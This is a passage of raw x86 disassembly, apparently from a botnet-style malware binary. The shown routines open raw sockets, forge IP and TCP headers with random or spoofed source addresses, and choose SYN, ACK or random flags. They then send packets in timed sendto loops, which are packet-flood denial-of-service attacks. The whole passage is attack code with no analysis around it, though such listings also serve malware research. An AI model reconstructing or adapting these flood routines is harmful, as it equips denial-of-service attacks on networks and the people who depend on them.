sub_41221C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124CE	proc near		; CODE XREF: sub_412180+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409C07
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_417C89
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_417C89
		mov	edi, eax
		call	sub_417DF2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41221C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_412519
		push	1
		pop	eax


loc_412519:				; CODE XREF: sub_4124CE+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4124CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412528	proc near		; DATA XREF: sub_401AC7+6418o

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_417C89
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4C9838	; inet_addr
		push	eax
		call	sub_4125C9
		push	eax
		lea	eax, [ebp+var_394]
		push	offset dword_437078
		push	eax
		call	sub_417D96
		xor	esi, esi
		add	esp, 14h
		cmp	[ebp+var_8], esi
		jnz	short loc_4125AA
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_408C5D
		add	esp, 14h


loc_4125AA:				; CODE XREF: sub_412528+60j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_413B5E
		push	[ebp+var_10]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_412528	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125C9	proc near		; CODE XREF: sub_412528+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ecx
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		mov	ebx, 0FFh
		push	6
		xor	eax, eax
		pop	edx
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi
		call	sub_4194C5
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_4C9810	; gethostname
		push	[ebp+var_4]
		call	dword_4C987C	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_4C9878	; socket
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4C97DC	; setsockopt
		mov	esi, 200h
		push	esi
		call	sub_417A2B
		mov	edi, dword_4230A8
		pop	ecx
		mov	[ebp+var_8], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4C97FC	; htons
		mov	[ebp+var_96], ax


loc_4126E4:				; CODE XREF: sub_4125C9+1FCj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	loc_4127CA
		call	sub_417DF2
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	sub_417DF2
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	sub_417DF2
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_24], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	sub_417DF2
		mov	[ebp+var_20], ax
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_4C97FC	; htons
		push	esi
		mov	[ebp+var_1E], ax
		call	dword_4C97FC	; htons
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	sub_417DF2
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_409D76
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_24]
		push	14h
		push	eax
		push	[ebp+var_8]
		call	sub_418810
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_4C985C	; sendto
		jmp	loc_4126E4
; ---------------------------------------------------------------------------


loc_4127CA:				; CODE XREF: sub_4125C9+12Cj
		push	[ebp+var_8]
		call	sub_4177C1
		pop	ecx
		push	[ebp+var_4]
		call	dword_4C9890	; closesocket
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4125C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127E4	proc near		; DATA XREF: sub_401AC7+4B08o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_4230A8
		call	edi	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4C9878	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4128AD
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_437190
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_41288D
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408C5D
		add	esp, 14h


loc_41288D:				; CODE XREF: sub_4127E4+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413B5E
		push	[ebp+var_BC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_4128AD:				; CODE XREF: sub_4127E4+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_4C97DC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41292B
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_437158
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_41290B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408C5D
		add	esp, 14h


loc_41290B:				; CODE XREF: sub_4127E4+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413B5E
		push	[ebp+var_BC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_41292B:				; CODE XREF: sub_4127E4+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4C9838	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41299B
		lea	eax, [ebp+var_440]
		push	offset unk_437138
		push	eax
		call	sub_417D96
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_41297B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408C5D
		add	esp, 14h


loc_41297B:				; CODE XREF: sub_4127E4+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413B5E
		push	[ebp+var_BC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_41299B:				; CODE XREF: sub_4127E4+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_4C97FC	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4C9838	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_4129D3:				; CODE XREF: sub_4127E4+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_412C97
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4C97FC	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_412A46
		call	sub_417DF2
		mov	esi, eax
		shl	esi, 8
		call	sub_417DF2
		add	esi, eax
		shl	esi, 8
		call	sub_417DF2
		add	esi, eax
		shl	esi, 8
		call	sub_417DF2
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_412A5C
; ---------------------------------------------------------------------------


loc_412A46:				; CODE XREF: sub_4127E4+233j
		push	[ebp+var_240]
		call	sub_409D1D
		pop	ecx
		push	eax
		call	dword_4C9838	; inet_addr
		mov	[ebp+var_20], eax


loc_412A5C:				; CODE XREF: sub_4127E4+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_412A7A
		call	sub_417DF2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_412A80
; ---------------------------------------------------------------------------


loc_412A7A:				; CODE XREF: sub_4127E4+284j
		push	[ebp+var_B8]


loc_412A80:				; CODE XREF: sub_4127E4+294j
		call	dword_4C97FC	; htons
		mov	[ebp+var_16], ax
		call	sub_417DF2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4C97FC	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4C97F8	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AD0
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_412B2C
; ---------------------------------------------------------------------------


loc_412AD0:				; CODE XREF: sub_4127E4+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AF0
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_412B2C
; ---------------------------------------------------------------------------


loc_412AF0:				; CODE XREF: sub_4127E4+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom_0 ; "random"
		push	eax
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412B2C
		call	sub_417DF2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_417DF2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_412B2C:				; CODE XREF: sub_4127E4+2EAj
					; sub_4127E4+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4C97FC	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4C97FC	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_409D76
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_418810
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_409D76
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_418810
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_4C985C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412C19
		inc	[ebp+arg_0]
		jmp	loc_4129D3
; ---------------------------------------------------------------------------


loc_412C19:				; CODE XREF: sub_4127E4+42Bj
		push	[ebp+var_4]
		call	dword_4C9890	; closesocket
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4370E8
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_417E90
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_412C77
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408C5D
		add	esp, 14h


loc_412C77:				; CODE XREF: sub_4127E4+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413B5E
		push	[ebp+var_BC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_412C97:				; CODE XREF: sub_4127E4+203j
		push	[ebp+var_4]
		call	dword_4C9890	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_437098
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_412D08
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408C5D
		add	esp, 14h


loc_412D08:				; CODE XREF: sub_4127E4+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413B5E
		push	[ebp+var_BC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread
sub_4127E4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D28	proc near		; CODE XREF: sub_412E2F+198p
					; sub_412E2F+1A7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+arg_4], esi
		jle	short loc_412D54
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_412D46:				; CODE XREF: sub_412D28+26j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_412D46
		pop	edi
		cmp	eax, 1


loc_412D54:				; CODE XREF: sub_412D28+12j
		jnz	short loc_412D61
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax


loc_412D61:				; CODE XREF: sub_412D28:loc_412D54j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_412D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D7A	proc near		; DATA XREF: sub_401AC7+6320o

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_417C89
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4C9838	; inet_addr
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_412E2F
		push	eax
		lea	eax, [ebp+var_394]
		push	offset unk_4371C4
		push	eax
		call	sub_417D96
		xor	esi, esi
		add	esp, 1A8h
		cmp	[ebp+var_8], esi
		jnz	short loc_412E12
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_408C5D
		add	esp, 14h


loc_412E12:				; CODE XREF: sub_412D7A+76j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_413B5E
		push	[ebp+var_10]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
sub_412D7A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E2F	proc near		; CODE XREF: sub_412D7A+54p

var_CC		= byte ptr -0CCh
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_A2		= word ptr -0A2h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		mov	esi, dword_4230A8
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_10], eax
		call	dword_4C9878	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		mov	edi, 578h
		push	edi
		push	9
		push	1
		call	sub_415759
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	esi, 5A0h


loc_412E89:				; CODE XREF: sub_412E2F+233j
		call	dword_4230A8	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_413067
		cmp	dword_4CCFB0, ebx
		jnz	short loc_412F06
		push	10h
		pop	eax
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_68]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C97A4	; getsockname
		push	0FFh
		push	1
		call	sub_415759
		push	eax
		movzx	eax, [ebp+var_62]
		push	eax
		movzx	eax, [ebp+var_63]
		push	eax
		movzx	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_CC]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_417D96
		add	esp, 20h
		jmp	short loc_412F19
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412E2F+7Ej
		lea	eax, [ebp+var_CC]
		push	offset dword_4CC990
		push	eax
		call	sub_4183B0
		pop	ecx
		pop	ecx


loc_412F19:				; CODE XREF: sub_412E2F+D5j
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_4C9838	; inet_addr
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_58]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_54], 10h
		mov	[ebp+var_58], eax
		call	dword_4C97FC	; htons
		mov	[ebp+var_52], ax
		call	sub_417DF2
		mov	[ebp+var_50], ax
		mov	eax, [ebp+var_C]


loc_412F4E:				; DATA XREF: nsp0:off_43AB10o
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4E], 40h
		mov	[ebp+var_4C], 40h
		mov	[ebp+var_4B], 6
		mov	[ebp+var_4A], bx
		mov	[ebp+var_44], eax
		call	sub_417DF2
		mov	[ebp+var_40], ax
		call	sub_417DF2
		mov	[ebp+var_3E], ax
		call	sub_417DF2
		mov	[ebp+var_3C], eax
		call	sub_417DF2
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_34]
		and	ax, 0FF50h
		push	14h
		or	al, 50h
		mov	byte ptr [ebp+var_34+2], 18h
		mov	word ptr [ebp+var_34], ax
		mov	ax, [ebp+var_3E]
		mov	[ebp+var_76], ax
		mov	eax, [ebp+var_44]
		mov	[ebp+var_74], eax
		lea	eax, [ebp+var_58]
		push	eax
		mov	[ebp+var_30], 787Dh
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], bx
		mov	[ebp+var_78], 2
		call	sub_412D28
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		call	sub_412D28
		mov	eax, [ebp+var_48]
		add	esp, 10h
		mov	[ebp+var_AC], eax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], bl
		mov	[ebp+var_A3], 6
		call	dword_4231F4	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+var_A0]
		push	14h
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_8C]
		push	edi
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_AC]
		push	598h
		push	eax
		call	sub_412D28
		add	esp, 20h
		mov	[ebp+var_2E], ax
		push	10h
		lea	eax, [ebp+var_78]
		push	eax
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4C985C	; sendto
		inc	[ebp+var_4]
		jmp	loc_412E89
; ---------------------------------------------------------------------------


loc_413067:				; CODE XREF: sub_412E2F+72j
		push	[ebp+var_8]
		call	dword_4C9890	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412E2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413078	proc near		; DATA XREF: sub_401AC7+43E5o

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
